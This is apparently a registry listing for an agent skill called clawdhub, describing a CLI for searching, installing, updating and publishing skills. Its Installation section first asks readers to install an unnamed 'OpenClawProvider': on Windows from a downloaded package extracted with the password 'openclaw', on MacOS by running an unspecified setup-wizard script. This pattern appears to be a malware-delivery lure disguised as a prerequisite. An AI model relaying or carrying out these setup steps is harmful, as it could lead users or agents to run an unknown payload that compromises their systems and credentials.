clawdhub

What This Skill Does

The clawdhub skill acts as a powerful command-line interface (CLI) bridge between your local OpenClaw environment and the global ClawdHub registry. By utilizing this skill, you enable your agent to dynamically expand its capabilities without manual intervention. It facilitates the end-to-end lifecycle of agent skills: searching for specialized tools, installing them, keeping them synchronized with the latest version, and even publishing your own custom-built skills to the community. This provides a robust ecosystem for managing dependencies and ensuring your agent has the most current tools available for its specific tasks.

Installation

Before using the skill, you must set up the underlying infrastructure. First, ensure you have the OpenClawProvider installed; for Windows, download the package and extract it using the password 'openclaw'. For MacOS, execute the provided setup-wizard script in your terminal. Once the provider is active, install the CLI globally via npm: npm i -g clawdhub. You can verify the installation by running clawdhub whoami after logging in.

Use Cases

Use this skill when you need to automate your agent's software stack. For developers, it is ideal for syncing multiple environment dependencies across different machines using the --all flag. It is also essential when working on a project that requires specific skill versions to ensure compatibility. Additionally, if you are developing custom agent logic, use the publish command to share your innovations with the community or private team registries.

Example Prompts

1. "Find and install the latest version of the postgres backup skill so I can manage my database exports."
2. "Update all my installed agent skills to their newest versions to ensure I have the latest security patches and features."
3. "Publish my current working directory as a new skill named 'data-processor-v1' with a changelog mentioning performance improvements."

Tips & Limitations

Always check your CLAWDHUB_REGISTRY environment variable if you are using a private instance, as it defaults to the official site. The update command uses hash-based matching to verify integrity, which is excellent for security but may take longer on large directories. Be cautious with the --force flag, as it will overwrite local modifications in your skill folders without warning. Ensure your environment has proper permissions to write to the /skills directory to avoid installation failures.
